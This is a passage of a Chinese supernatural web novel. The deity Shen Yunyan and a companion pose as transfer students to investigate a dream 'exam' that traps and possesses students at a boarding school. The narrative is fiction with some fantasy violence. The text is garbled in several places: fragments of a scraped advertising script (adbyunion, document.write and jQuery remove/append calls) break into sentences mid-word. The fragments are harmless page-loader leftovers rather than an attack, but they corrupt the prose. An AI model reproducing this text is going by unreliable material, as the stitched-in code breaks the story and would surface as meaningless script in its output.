沈云烟感受到手中坚实的触感,汹涌的热意在手下奔流,眼见手底下的人脸上红晕越发明显,她使了点劲把手从对方手中抽回来。 和贺绪风说话真不知道下一句就会拐到什么地方去。 他有些遗憾地看着沈云烟的手远去,似乎还想再伸手攥住。 “不和你闹了”,沈云烟正色道:“说说以前的事吧。” “我们怎么认识的,是什么关系,还有我的封印,以及他们究竟去了哪里。” “我们?” 贺绪风精准捕捉到关键词。 “我们是恋人呐”,他站起身,凑近沈云烟,幽深的眼眸与她对视,里面全是浓稠的眷恋。 见沈云烟没什么表情,他眉心一皱,艳丽的狭长双眸瞬间染上哀戚:“你居然将我都忘了。” 确实没有记忆的沈云烟浅吸了一口气,没有慌:“所以需要你帮我回想起来。” 她摸上凑到跟前的脑袋,柔软黑发缠上了她的指间,手感不错,她多摸了两把。 沈云烟安抚道:“把你知道的都告诉我,好吗?” 之前在巢穴只有寥寥几句话的接触,现在在这里,沈云烟才发现这人过于直白的情绪表达。 看来只有一节手骨还是太勉强了。 现在的贺绪风并不完整,所以聪明的一阵一阵的,只有说起那些风月时才感觉机灵甚至是激进。 从来没想到自己居然是保守派的沈云烟感受到快拱进她怀中的贺绪风,叹了一声,态度软化,摸他的手也不再拘谨,纵容着他近乎偏激的依恋。 潜意识并没有讨厌,意味着贺绪风说的话有很大程度上是真的。 说不定她真是个失忆后被迫渣人的负心汉。 清冷的长发神明纵容着艳丽追随者的痴迷靠近,青色与红色的交织,是神的默许。 “我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们只有这样才能见面,我有些后悔”,贺绪风埋在她肩膀上,发丝贴着她的耳廓,“让你留在这里,是你自己的决定。” 他道:“我当时不应该听你的话,我应该捣乱,把所有一切都搅乱,然后偷偷把你藏起来,自己去解决这些事,这样等你醒来后,就能得到一个正常的世界了。” “你是说,我的封印和我自己有关”,沈云烟道。 贺绪风微不可闻地点点头。 “和污染有关?” 他再次点头。 “好了,不用再说了,你现在可能也说不出太多东西吧。” 沈云烟微微推开贺绪风,替他擦去脸上无声落下的眼泪,无奈道:“怎么还哭了,这不是都见到我了,意味着我的计划全部都在正常进行,应该高兴才是。” “所有东西都压在你身上,我不开心”,他有些哽咽。 规则在监视,有些东西不用说的太明显,只要按照路径一路走下去就行。 “我倒是真没想到你会是这种性格”,沈云烟拍了拍他的后背。 一会儿风情,一会脆弱。 感觉精神状态岌岌可危。 但并不讨厌。 她这辈子都没这么哄过一个人……嗯,失忆前不知道。 “烟没想到的事还多着呢”,贺绪风破涕而笑,眉宇间的锋利重新出现:“等我,我会出去的。” “要记得想我。” 离开梦境之后,沈云烟重新凝聚出化身,穿着新买的鲨鱼拖鞋和鲨鱼睡衣就出了房间。 姬蒙在屋里沙发上坐着,他正在看电视,十分入迷。 电视上放的是小龙女左右互搏的片段,没等沈云烟开口打招呼,姬蒙突然放出自己的其他手,跟着小龙女一起练起了左右互搏。 算了,还是不打扰他了。 家里现在找不出一个精神状态稳定的人。 “叮叮咚,叮叮咚……” 只存了一些重要人物联系方式的手机突然响了,沈云烟看了一眼来电信息,是上学去的宋先。 这会儿宋先不应该在学校吗,难不成出什么事了。 “喂喂喂,老大,是你吗老大?”宋先做贼似地压低声音,搞的沈云烟也严肃了起来。 “是我,怎么了你说?” 宋先听到沈云烟的声音很激动:“终于打通了,我快吓死了。” 他嘴皮子很快,就像有人在后面赶:“我看到学校里的人都死了,最迟这周天。” 宋先时灵时不灵的预知有时候会为他带来好运,有时候会为他带来惊吓。 这学期刚刚开学,他在新的一年里迈进班集体,一开门就是一地姿态各异的残尸,吓得他当场晕倒,成为校医院阿姨开张的第一个客户。 借口其实是低血糖犯了,宋先带走了校医阿姨几只葡萄糖后才顺利溜回教室。 开门,关门。 教室里同学正常向他打招呼问候,有人在交作业,有人在擦桌子,十分和谐,仿佛刚刚他看到的恐怖场景只是幻觉。 宋先果断找了个课间躲在厕所给沈云烟打了个电话。 笑话,巢穴都进过了,这种预知场面他怎么可能不当一回事。 “事情就是这样”,宋先噼里啪啦讲了一大堆,最后总结:“我们班每周换一次座位,我看到的场景里同学分布的位置就是今天这个位置,所以可能很快,也可能是过几天,最迟不过周天我预知里的场景就会实现。” 他深吸一口气,握着手机的手在颤抖:“老大,救命啊!” 30. 勤奋努力的学生(1) “我还不想英年早逝。” 宋先哭丧着脸,觉得自己运气实在太好了。 发个烧撞大运有了预知能力,大街上一瞥就被沈云烟堵在花坛里,在落英市睡了一觉就被吞进巢穴,还被骷髅鲸鱼追着杀,这会儿上个学的功夫,一开门就是满地残尸。 他还小,还没谈过女朋友呢。 还想多活两年。 不对,这待遇也太主角了吧。 正在中二病年纪的宋先思维跑偏,随即又陷入绝望。 那他岂不是得改名叫死神高中生。 走哪哪出事,天天是事故。 “老大”,宋先咽了口唾沫,“要不报警把我抓起来吧,我觉得呆在里面小小的很安心。” 这都什么和什么嘛。 感觉像承受不住压力终于开始发疯了。 “你正常上课”,沈云烟吩咐:“遇到可疑的东西先躲躲,躲不过去了就点香,能拖则拖,我马上就到。” 她刚歇了一会儿就又上工,每年评选的模范劳动人员没她都不能够。 沈云烟准备换衣服和鞋,顺便给张雪打了个电话,交代了一下宋先学校的事。 如果后面真的出事了,还是得专业人员来善后,她顶多算个打手,组织内戏称为拆迁队,出手就是暴力解决,细致的安抚工作还得别人来。 “对,就是这样,你们什么时候出发?” 正在穿鞋的沈云烟突然顿了一下:“这样也好,不过我这么干会不会有些奇怪。” “那好,我马上到,其余的你安排。” 和张雪达成共识之后,沈云烟看了一眼电视剧入迷的姬蒙:“走吧,出了点事。” 姬蒙扭过头来看她,等着她的下句话。 “这回情况比较特殊,可能需要一点伪装,你等会儿配合一下。” 见姬蒙点点头,沈云烟松了一口气,想到张雪刚刚的伪装建议,觉得姬蒙医生这副成熟稳重的模样穿上高中校服,应该,大概也不是太违和的事吧。 英才中学高中部校服是蓝白款的短袖,黑色长裤还有深蓝色的校服外套,衣服左上角心脏处有圆标,是一艘远航的小船驾着英才两个大字。 青春,活泼,是社会上对高中生的认知。 张雪在他们来之前就备好了衣服书本和文具,并飞速伪造了学籍,将他们俩紧急塞进了转校生的名单里。 事关学生安危,所有举动都将以特殊行动的速度批准。 一路绿灯之下,等到沈云烟换好校服,扎起长发,准备坐车去学校的时候,在英才中学高中部高二(3)班的班主任手中,就已经接到了校长打来的有关插班生的电话。 班主任点头:“好的好的,一定安排好。” 挂了电话,班主任才嘟囔道:“怎么这么突然,还是校长亲自打的电话,难不成是校长哪个亲戚,嘿,一定是我教学能力出众,校长才把人放进我班里。” 班主任来回转了两圈,发现过道有个鬼鬼祟祟的身影,仔细一看还是个熟人,立马竖起了眉毛:“宋先!你偷摸干什么呢,信不信我叫家长!” … “那个,姬蒙医生,别冷着脸,看起来不像学生。” 像校霸,还是能杀人放火的那种。 张雪时不时看姬蒙一眼,发现他勉强扯出笑,脸上表情越来越僵。 这回不像校霸了,像变态。 “好吧,维持平常就行”,张雪果断放弃。 校霸总比变态好。 沈云烟也没想到自己一把年纪还能有幸穿校服进学校装高中生,她脸嫩,衣服一换,头发一扎就有点味道了。 姬蒙就有点勉强了。 他可以换身西服去当职业精英,可以换身白大褂去做回医生,甚至可以换身三十岁中年衬衫,挂串钥匙去cos领导,但就是不适合穿校服。 帅是帅,长的太冷硬了,穿校服没有学生气,再面无表情些感觉下一秒就能进帮派混到二把手。 二把手姬蒙收回脸上的笑,面无表情发呆,自在多了。 到了学校后下车,张雪向沈云烟指了方向:“那边就是高二(3)班,我们的人还没有发现异常,如果有消息我们会及时联系,首先要保证学生们的安全。” 没有任何征兆的巢穴,但宋先的预知却又实实在在的出现了,他们要时刻监控着这座学校以防万一,如果真的有巢穴建造,他们也能第一时间遏制,将风险压到最小。 沈云烟点头,背上双肩包尽力让自己变得青春一些。 旁边的姬蒙提起书包单肩一挎,在众人视线下走了几步,发现沈云烟没跟上来,回头问:“怎么了,有问题?” 这回像帮派一把手了。 “没问题,继续保持”,沈云烟鼓励道。 张雪忙着调动其余部门力量,沈云烟带着姬蒙先进教学楼,隔了老远就看见熟悉的身影。 “你怎么能带手机呢,知不知道现在学习时间有多宝贵,开学就要收心,不要老想着玩游戏。” 快退休的老班主任喋喋不休,抓住缩在厕所里带手机的宋先后已经批评教育了一个小时。 宋先头猛点一下,说的他都犯困了。 我要不打电话,咱们过两天都得玩完。 他小声嘟囔着。 “你说什么,大点声。” “我说老师我知道错了,您的教诲我全部都记在心里,今后一定好好改正,重新做人”,宋先大声回话,熟练应对。 “这还差不多”,班主任晃了晃收上来的手机:“这个我没收了,放假的时候找我来拿。” 英才中学是寄宿制学校,一个月才能回去一次,这说明下个月底班主任才会把手机交还给他。 还下个月,下周他们能不能再见面都是未知数。 宋先又想起刚刚的预知场面,心脏猛地跳了几下。 也不知道老大他们什么时候到,要是手机收了他还怎么联系外面,要不趁班主任下班空隙把手机偷偷拿回来。 “老师好。” 一道熟悉的女声在教学楼走廊响起,宋先激动地抬头看向来人。 “你好,唉?”下意识回声的班主任也看清了来人的模样,发现他没见过这两人。 “是新转来的吧”,想起校长的嘱咐,他露出笑脸,“快进来。” 班主任脸一板:“宋先,带新同学进教室。” 新同学? 宋先眼神在沈云烟身上点了一下,又在姬蒙身上停留了好一会儿。 老师你看这个大高个像不像领导伪装学生来视察。 “同学,过来这边”,他乖乖地带着两人进教室,小声问沈云烟:“什么计划啊,我全力配合。” 沈云烟扔过去一个黑色长方块,宋先手疾眼快接住,问道:“这是什么?” “强信号通讯器”,沈云烟答道:“恭喜你成为神秘组织预备役,这回好好表现,争取拿到编制。” 这是他们进学校之前张雪塞给她的,据说是研究组经过上次信号切断的教训,痛定 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 思痛,彻夜实验出来可以应对百分之九十巢穴环境的通讯器。 “高级!”宋先爱不释手,把被没收的手机瞬间弃之脑后。 这会儿正是课间,宋先带着两人走到后排的两张空座位上。 “我还想着你们到时候怎么混进来,没想到直接就成转校生了,班主任接完电话就让同学抬进来两张桌子,原来是给你们留的。” 宋先坐回了自己的位置,刚好在倒数第二排,那两张空桌椅的前面。 “下节课是语文,我们班主任带的,估计会介绍你们给班里认识”,他道。 马上上课了,学生陆续进教室坐好,发现班里突然多两个陌生的面孔,有人好奇地往后排望,对上姬蒙冷意的眼睛,又悻悻收回眼神。 沈云烟环顾教室内部,发现教室里有三张桌子有书本但没坐人,其中一个就是宋先的同桌。 “你们班还有没来学校的吗?” 英才中学是寄宿制,按理来说提前一到两天进校收拾宿舍安置物品是大部分学生的选择,今天正式上课班里该来的都来了才是。 宋先看了一眼自己旁边的空桌子,小声道:“都来了,我同桌身体不舒服请假在宿舍呆着,其他两个也差不多情况。” “不舒服?” 宋先想了想:“对,这三个还是我们班学得挺好的学生,也不知道怎么了就头疼脑热,连开学第一天的课都错过了。” 他猜测:“说不准是食堂的饭不行,嘶,那我下课先买几桶泡面顶一顶。” 食堂要是出问题,出事的学生肯定不止这三个,现在正处于死亡预知的关键时期,这三个学生和巢穴的可疑度直线飙升。 “我想不是食堂的问题”,沈云烟指尖敲了敲桌面,问:“中午休息是回宿舍睡觉吗。” “嗯,我在男寝201,刚好和我同桌在一个寝室。” 沈云烟点开张雪发过来的新寝室表,她和姬蒙已经被安排好了,她在女寝103,姬蒙在男寝202。 宋先凑过来看:“姬蒙医生在我隔壁寝室,那边刚好也有一个请假的同学,但是女寝那边我不太清楚。” “不用看了,女寝103里也有请假的学生。” 沈云烟一目十行地看完张雪发过来的各种资料,显然他们也认为高二(3)班的三位缺勤学生的嫌疑最大。 除了宋先本来就在201外,他们两个已经被暗箱操作塞进了那两个嫌疑学生的寝室。 “咯吱——” 教室门被推开,露出了班主任严肃的脸,他在用眼神巡视在班里一圈,看到沈云烟两人已经坐好,站上讲台正准备介绍,突然被门外一道身影打断了话。 “报告。” 脸色苍白的男生在教室门口突然出声,班主任没来由地颤了一下,脊背发凉,随即看清了门口的人,他摸了摸自己出汗的手心,纳闷自己为什么抖了一下。 说不定是年纪大了,受不了这群小崽子一惊一乍的。 班主任整理好语气:“徐祥,你不是请假了,怎么这会儿又过来了。” “好点了,想回来上课。” 名叫徐祥的学生回道,走进教室内,直直朝宋先的方向走过去。 他淡淡看了一眼宋先,又看了看后排突然多出的沈云烟两人,拉开凳子,十分自然的坐了进去。 徐祥微微向后靠去,确保自己的低语能让后排两个陌生的同学听见。 “你们,是过来杀人的吗?” 沈云烟听见这人这样问她。 31. 勤奋努力的学生(2) 你们是过来杀人的吗? 这句话的信息量有点大,坐在徐祥旁边的宋先一愣,随后狐疑地盯着同桌,好像要在他脸上看出什么破绽来。 小插曲过后,班主任开始向班里介绍两个插班生,沈云烟面带微笑先站起身来,十分配合班主任。 等到他们俩都简单介绍完自己后,班主任打开书开始上第一堂课,教室逐渐安静下来,只剩下抑扬顿挫的讲课声。 在最后排的沈云烟坐的端正,态度很好,但课本随意翻了一页,根本没听课。 姬蒙也没听讲,自那名叫徐祥的少年出现之后,医生就一直注视着他,课桌下的手术刀悄然出现,在他手中跃跃欲试。 “你知道什么?”沈云烟没有回答少年刚刚的问题,转而反问。 徐祥微微侧过脸:“我能看见你们身上的丝线,很危险的红色。” 他闷声说:“如果你们要杀人的话,先把我解决了吧,我不想去考试了。” “嗯?”宋先摸了摸他的额头:“也没发烧啊,刚开学哪来的考试把你逼疯了。” 徐祥眼下是浓重的乌青,他脸色灰白,显得很虚弱,转过头看宋先,将他里里外外仔细看了一遍,看得宋先发毛,才出声道:“趁你小子还没被月亮的丝线全部笼罩,能跑就快逃,可别怪兄弟不讲义气没提醒你。” 一会儿杀人,一会儿月亮,一会又是逃跑,徐祥的话颠三倒四,但有一点可以肯定,他一定知道些什么。 沈云烟和徐祥是前后桌,她伸手拍了下他的肩膀,趁所有人都没注意的时候劈向他的脖子,使巧劲将他劈晕。 徐祥浑身一震,软软地倒下,被宋先扶住。 宋先和沈云烟对视一眼,很机灵,连忙举手:“老师,我同桌低血糖晕了,我带他去校医院!” “我们也陪他去”,热心同学沈云烟立马拽着姬蒙站起来,姬蒙也十分关心同学,配合着上前一把扛起徐祥就往门外走。 “老师放心,我们会好好照顾徐祥同学的,有事和您联系。” 他们动作非常迅速,沈云烟走的时候还带上门,都快下楼了才听见班主任追出来喊:“那你们好好照顾徐祥,我下课了就去看他,有事联系!” “没问题!” 他们几个带着晕倒的徐祥瞬间消失在了拐角处,只留下应答的声音在楼道里回响。 班主任回到教室,摸着头发感慨道:“你们看看,新来的同学多么热情友善,以后要向他们好好学习。” 热情友善的沈云烟一行人下了楼拐进死角,使了点劲掐徐祥人中把他弄醒。 “嘶”,感觉眼前发黑的徐祥深吸了口气,噩梦惊醒一般睁眼,刚醒就看见三个头都在围着他看。 “来”,其中一个头发出了友善的声音,她循循善诱:“把你知道的都告诉我们,别害怕,我们是来救你的。” 她一旁高大的男人也跟着点点头,只是拿着的手术刀还没来得及完全放下,显得这话特别没有可信度。 这三人中,看着就不聪明的宋先成为里面唯一纯白的茉莉花。 徐祥的精神已经疲倦到极致,濒临溃散,几夜没睡的焦灼攀上他的心窝,让他颇有些无力,在他的视角中,满天的红丝线笼罩在这两个陌生面孔身上,浓稠的几乎要遮蔽他们的面容。 和每天夜里的那些鲜红的月色一样浓郁。 宋先这家伙是怎么和这些人混在一起的,本来就不聪明,该不会是被人骗了吧。 不知道形象已经变成傻蛋的宋先还在帮腔:“对啊对啊,你赶紧说,时间很紧迫的。” 死就死吧,反正他也不想活了。 徐祥像被胶水黏住一样的大脑这样想着。 “你们不是人吧”,他垂着头说话,“你们身上的丝线比正常人多得多,而且和那些怪物一样是红色的。” 他抬起布满红血丝的眼睛,冷笑自嘲:“我也很快不是人了,自从我的眼睛能看见这些该死的东西时,我身上的丝线每天都在增加。” 沈云烟表情逐渐变化:“你就没想过,这其实是某种异能吗?” 能力的强弱和危险程度用他肉眼观测到的丝线颜色和数量表示,这个同学是一台行走检测机呐。 宋先凑到满脸颓败的同桌面前,指了指自己的鼻子,兴奋道:“你看看我,我也有异能,你看我的丝线多不多。” 徐祥看了他一眼,张口道:“小粉红。” 想了想又补了句:“稀疏小粉红。” 宋先顿时僵在原地,沈云烟安慰拍了拍他的肩膀,然后一把薅开他,自己凑到了徐祥的面前。 “你刚刚说的月色和考试又是什么?”她问。 “你们和那些东西真的不是一伙儿的?”徐祥又看了一眼自己视角里满天的红色丝线,有些不确定。 “那当然,我们绝对良民,要看文件吗,没有人比我们更正规。” 和张雪短暂连线一分钟,无数盖公章的证明文件发了过来,瞬间冲晕了徐祥的脑子。 他咳了一声,拘谨地坐正,恢复了些清明。 “我一定积极配合”,他也是没想到真有这种组织,想起刚刚说对方是过来杀人的,他有些尴尬。 徐祥烦躁地挠了挠头发,道:“我前天也就是周六来了学校,算是比较早的学生,晚上的时候我刚睡下,再睁眼的时候就发现来到了教室里。” “教室里加上我只有三个人”,他道:“我们坐在自己的座位上,正在进行一场考试。” 徐祥眼珠微颤,眨眼频率增加,似乎回忆起了一些令他紧张的画面。 “最开始我卷子上问的内容非常基础,前三题分别是问你最喜欢的科目,最喜欢的性别和最喜欢的东西,不像一场考试,更像个人兴趣调查问卷。” “我以为我在梦里,而且有股力量按着我的手脚,让我必须填完这份问卷,我随意填了数学,男,月亮。” 徐祥懊恼地敲了敲自己的头:“我刚填完问卷,手底下的卷子就发生变化,变成了一张数学卷子。” “而这时我的身边也出现了道影子”,他回忆道:“那是一位男性,他拿着教棍在我桌子前后不断踱步,我抬不起来头,只能用余光去看那个人,他的手每一处都画上了月亮的黑色标记。” 数不清的月亮印记重重叠在了一起,延伸进了衣襟,徐祥有种预感,这个人的每一寸皮肤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上都刻上了月亮。 “那个梦实在太压抑了,我动不了,只能去做那套卷子。” “数学卷子的内容是学过的,虽然过了个暑假,但我还记着点,停笔之后那个人很快拿走了我的卷子,再次回到我手里的时候,已经出现了分数,83分。” “我终于可以动了。” “再次抬头看向那个监考人的时候,我这次看清了他的脸。” 徐祥咽了口唾沫:“其实不能说脸,他没有五官,脸部平滑粗糙,像一张肉色的纸张,而纸张的中间画着一轮血色的月亮。” “我的眼睛一痛,强烈的刺痛感出现,然后我就看见了从它身上争先恐后涌出来的红色丝线,那些丝线像一张蛛网,瞬间把我包裹住。” “等我醒来的时候,头痛身上也痛,去厕所吐了一会儿,然后就听见隔壁传来巨响。” 宋先和徐祥都在男寝201,那隔壁就是男寝202,也就是另一个嫌疑男同学的寝室。 “怪不得陈东俊今天没来,应该也进去了那场古里古怪的考试”,宋先判断道。 徐祥答道:“对,他和吴清雾是我在那场考试里见到的其余两个人。” “我听见隔壁寝室有异响后就冲过去看,陈东俊躺在地上背对着人古里古怪的背古诗,手肘被磕青了都没反应,还是我上去给他来了两下才把人叫醒。” 徐祥想起当时的场景。 陈东俊脸上挨了两下,下意识就反抗,差点把徐祥掀翻在地,吼道:“你干什么,找死啊!” 直到发现自己躺在地上脑子还钝痛才冷静了下来。 徐祥继续道:“陈东俊的症状比我严重点,他说自己在问卷里随便选的语文,女,哑铃。” “他语文是最烂的科目,后续的考试只考了43,只记得自己遇见了很恐怖的女人,对方用哑铃把他砸晕过去了。” “那最后的人,那个女同学吴清雾呢?”沈云烟提出问题。 这回徐祥只是摇了摇头:“我不知道,联系不上她,托女同学进去找她也没了消息,我们总不能硬闯女寝。” 凭着一场无法证明的考试就闯进女寝,恐怕还没进去就被宿管踢出宿舍楼了,附带五千字检讨和通知家长班主任。 迄今为止,已经有三个学生遭殃了。 沈云烟观察着徐祥的面色:“你现在可不像只经历了那个考试的样子,昨天又发生了什么?” 今天刚见到徐祥的时候他甚至没什么求生的欲望,可不像他口中那场有惊无险的考试。 “没错”,徐祥道:“昨天晚上闭上眼睛之后我还是回到了考场,这次那里只有我和陈东俊,吴清雾已经不见了。” “摆在我们面前的是一小摞资料,大概有80张,从天文地理到生物科学都有涉及,而我们的任务就是在六个小时内背完这些资料,以应付接下来的考试。” 徐祥的脑子还在钝痛,有些迟钝地回忆着,看人的时候反应都慢半拍。 “在这场考试里存活的唯一标准是……满分。” 不允许一个选择题错误,不允许一个主观题错误。 然后才能被视为通关者,在黎明后醒来。 32. 勤奋努力的学生(3) “满分才能存活……” 听徐祥的意思,这场考试不只有固定选择题还有主观意愿非常强烈的文字题。 评分的标准是什么,以怪物阅卷人的喜好来决定生死吗? 这未免有些太被动,简直就是把性命直接交给了本就恶意满满的巢穴主。 徐祥捂着自己的太阳穴,脑袋一顿一顿地发痛,他仰头闭目:“为了自己的小命我们背了六个小时,一刻也没有停下来。” “你成功了?” “对”,他睁着布满血丝的眼睛,压力大到头疼:“我做到了,我背完了整套资料,慎之又慎地填上了试卷,卷子是满分,我成功回来了。” 人的潜力真的难以想象,宋先想自己六小时要是能一字不差地背完80页的资料,并且扛着头脑酸胀的疲惫去完美写完一整套出题杂乱的卷子,家里人怕是要送他进医院查查是否有幻想症。 “那另外一个呢?” 沈云烟的预感不太妙。 男寝202另一个男生第一天就受了很重的伤,状态比徐祥差的多,似乎学习能力上也不及徐祥变态,恐怕状况不太好。 “陈东俊他……”徐祥欲言又止,面色古怪,道:“我去看过他了,他很正常,太正常了,我进门他和我打招呼,还当着我的面向班主任的面请了病假,说要在寝室里休息,还问我要不要一起去吃早饭。” “明明昨天还一起经历考试,他今天就像从来没有经历过这件事一样平静。” “甚至我问他‘既然身体没有不舒服为什么不去上课’的时候,他只是摸了摸后脑,对我说……” 徐祥回忆起今天早晨的事情,觉得背后发凉。 陈东俊憨笑道:“不知道为什么,总想拿着我的哑铃去教室,然后像这样,敲开谁的头颅。” 他弯腰拾起自己桌边的10kg的哑铃颠颠重量,猛的砸向桌子,木头桌子不堪重负,轰然裂开。 他似乎并没有意识到有什么异样的地方,还扭头朝徐祥笑道:“我开玩笑的,对了要不要现在和我一块去吃早饭。” 回忆结束,徐祥扯了扯嘴角,却扯不出笑,他吸了口气道:“实在不敢呆在宿舍里了,我怕我一睡着就会被陈东俊砸脑袋。” “大致情况我们已经了解了,感谢你的配合,我们会尽快拆除巢穴的”,沈云烟拿出官腔安抚他。 民众对官方还是很信任的,即使在这种不符合常理的非自然事件中,只要官方下场,多少能积攒一点信心。 刚刚还想摆烂,想着死就死也没什么大不了的,反正不想再来一次考试的徐祥立马就打起了点精神。 可是他从第一次被扯进考试中后就一直没怎么休息过,算起来两天没睡过了,强撑的精神很快也就散了,整个人很蔫。 “宋先”,沈云烟叫道:“照顾好你同学,先让他去医务室睡一觉吧,一直不睡人会出问题的,如果再次被拉进考试的话也有精神思考反抗。” “那你们呢?”宋先扶着徐祥问道。 “当然是去关心两个生病在寝室里卧床休息的同学了,我们可是热心转校生呢。” 沈云烟看着宋先扶着人往校医院的方向走,自己也转身朝女寝走去。 她判断道:“只是筑巢初期,所以一开始才只拉进了三个学生,除了徐祥剩下那两个恐怕都不太正常。” 姬蒙听她这么说,问:“那咱们先下手为强?” 他抽出自己的手术刀,气势汹汹。 “倒也不用一上来就暴力”,沈云烟制止了医生的恐怖想法,“主要是先弄清楚两个学生的具体状况,再采取手段。” “还有拿到进入考试的方法。” “不过按照宋先的预知,直到这周末这一班的学生就会死于巢穴,说明巢穴的扩张速度不慢。” 高二(3)班共计52人,一周之内吸纳52条人命,这种扩张速度已经可以排进B级巢穴了。 “不,不对”,她意识到一件事,“宋先的预知很片面,高二(3)班的惨剧只是他打开一扇教室门看见的,而他没看见的地方,即使血流成河也不会被预知看到。” “你是说,不止高二(3)班有进入考试的学生,说不定周天来临时,整个学校里的人都会死”,姬蒙道。 她点头,迅速打电话给张雪:“张队,我要英才中学今天所有请假在宿舍里的人名单。” 没一会儿,一连串学生名单就给沈云烟发了过来。 “总共有8人请假休息。” 英才中学学生约有两千余人,这个渗透量还在接受程度之内。 这样看起来高二(3)班占了三人还算大比例。 “我去女寝,你去男寝,沟通不了就用手段把人带出来,我们一会儿在还在这汇合。” 陈东俊身上的暴力倾向和诡异对姬蒙来说不算什么,硬要计较起来,姬蒙还算它们的同类,这件事交给他很放心。 至于沈云烟,她要去见见那个神秘的女同学。 …… “吴清雾,老师找你,在吗吴清雾。” 敲门声在女寝103门口响起。 整个宿舍楼的学生都在上课,楼道里非常安静,急促的敲门声在空旷的楼道中回响,声音重叠,听的人心里烦躁。 “咯吱——”宿舍门发出老旧木门的声音,经过来人不懈努力下,103宿舍门终于打开一条小缝。 只有一指宽的门缝里露出只眼睛,漆黑的瞳孔直愣愣地看着门外,说话声音轻飘飘的。 “我给班主任请假了,他怎么会来找我。” “是吗?”来人一愣,道:“你请假了吗,老师那边说他没收到啊。” “怎么会,他明明都回我消息了”,名叫吴清雾的女孩皱眉,趁她不注意,沈云烟的手穿插进门缝,瞬间撑开门并挤了进去。 她笑吟吟的:“这样说话不方便,我进来慢慢和你说。” 被一股巨力推开,差点摔倒的吴清雾:“……” “我没见过你,你不是我们班的”,吴清雾瞬间警觉了起来:“我数三下你要是不离开的话,我就喊人了。” “我是今天刚转过来的转学生”,沈云烟放出那张新的宿舍排序表,道:“就在女寝103,刚出来的安排,你应该还没有得到通知。” “不过班 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主任确实有点事情要找你问清楚”,沈云烟真诚道:“看着还很着急,不如赶紧和我一起出去,你知道的,老年人记性不太好,要多多关怀体谅。” “我请假了,你帮我说一声就行。” 吴清雾并不配合,戒备心很重,还催促着沈云烟快离开:“那你快走吧,别让班主任等急了。” “那这可真是没办法了”,沈云烟低低说了一声。 “吴同学,你那天晚上填的科目,性别和物品究竟是什么呢。” 吴清雾眸光一沉,更加疾言令色:“我不知道你在说什么,快出去,不然我就报警了。” “报吧”,有张雪在,到时候叫来的说不定还是组织里的熟人。 “不过我觉得还是我更快点,你觉得呢?” “你,你,你”,吴清雾脸色胀红。 沈云烟盯着她的眼睛,语速放缓:“如果不和我走的话,我保证你活不过明天,你以为见到那东西答应过什么之后就能全身而退吗?” “只不过是死的慢和死的快的区别罢了。” “……” 吴清雾瞬间没了动静,眼珠紧张来回颤动,好像在称量某种代价。 良久,她开口:“如果你说的都是真的,你能帮我摆脱……吗?” 说出那个称呼似乎是种禁忌,吴清雾仅仅是有了一丝逃离的念头都仿佛背负了无尽的压力。 “当然”,沈云烟很从容,脸上带着令人信服的笑:“我是专业的。” “我跟你走”,吴清雾吸了两口气,下了很大决心,鼓起勇气:“不过你一定要保证我的安全,我还不想死。” “没问题”,沈云烟答应道:“现在可以说说你填的什么了吗?” 吴清雾咽了好几口水,紧张到冷汗出了一层又一层,咬着下唇:“我写的科目和性别是英语,女。” “我写的最喜爱的东西是……” “……吴清雾。” 最喜欢的科目是英语,最喜欢的性别是女,最喜欢的东西是自己。 没有规则告诉人最后一个不能填人名。 徐祥填了月亮,他的监考老师身上画满了月亮,脸上是一轮血月, 陈东俊填了哑铃,他的监考老师提着哑铃把他砸晕过去。 吴清雾填的自己,那她的监考老师……不,她还需要考试吗? 徐祥说过,第二次80页资料背诵的考试就已经没见过吴清雾了。 面前的女孩浑身颤抖,陷入了巨大的惊惧之中,她捂着脑袋,喉咙里是压不住的哽咽:“我在一场奇怪的考试中成为了监考老师。” 她叙述着:“我的手沾了血,好多同学的血。” “不,那不是我,那一定不是我,我怎么可能用钢尺插进同学的大腿,我怎么可能变成一个无脸的怪物。” 她拽住沈云烟的校服外套,似乎只有这样才能汲取一点力量:“同学,你相信我,我不是故意的,我不是坏人。” “我相信你”,沈云烟蹲下身来,摸了摸吴清雾的头发,接着道:“好女孩,我相信你。” “别哭,还有办法补救的,来,跟我走吧。” 33. 勤奋努力的学生(4) 带着吴清雾出了宿舍楼,两人一起来到了刚刚约定好的地方,姬蒙比沈云烟还快,早就等在了这里。 胳膊夹住陌生男同学的后脖颈,任其怎么挣扎也不为所动,甚至嫌他太烦反剪他的胳膊,踢弯膝盖,直接按在了地上, “他想动手,我打晕后带了出来,半路上又醒了。”见沈云烟过来,姬蒙解释着。 这就是陈东俊,是个经常锻炼,看起来很壮实的小伙,但遇上海上章鱼恶霸的身体还是不太够看。 “你们想死吗!” 被按住还不安分,陈东俊脸贴在地上,口中不断低吼着。 “怎么能这么对同学呢”,沈云烟走到拍了拍姬蒙的手,示意他松松。 “我会用哑铃砸碎你们的头颅”,陈东俊几乎控制不住脸上的表情,身体上残留的疼痛让他面露痛苦,无形的力量却让他扬起笑脸,显得十分狰狞。 姬蒙看了一眼沈云烟,手上的力度还是放松了些。 “在哑铃碰到我的头前,我觉得你应该先担心自己的安危。” 人是很脆弱的,即使是如今这具普通人的化身也有各种方式让一个人迅速死去。 沈云烟抚上陈东俊的喉骨,微微用力,就能感受到跳动的脉搏,再度收紧,手下的人就张来嘴开始痛苦的呼救。 血液供不上大脑,陈东俊眼前阵阵发黑,紧箍在喉咙的手如石山一般坚固,令他喘不过来气,身体陷入窒息的痛苦。 沈云烟观察着他的表情,等到某个瞬间眼神瞬间转变时她立刻就松开了手。 “咳咳咳”,陈东俊趴在地上捂着脖子震天动地地咳嗽,脸上还残留着没褪去的胀红。 姬蒙在沈云烟松开手的同时就收回手,此时站在一边静静看着。 “同学,现在感觉怎么样了?”沈云烟上去给人拍了拍背,和善询问。 她手底下的陈东俊抖了一下,然后艰难地说了句:“谢谢。” 显然已经恢复正常了。 “不用谢,同学之间互帮互助是应该的。” “咳……” 刚刚他好像看见太奶奶了。 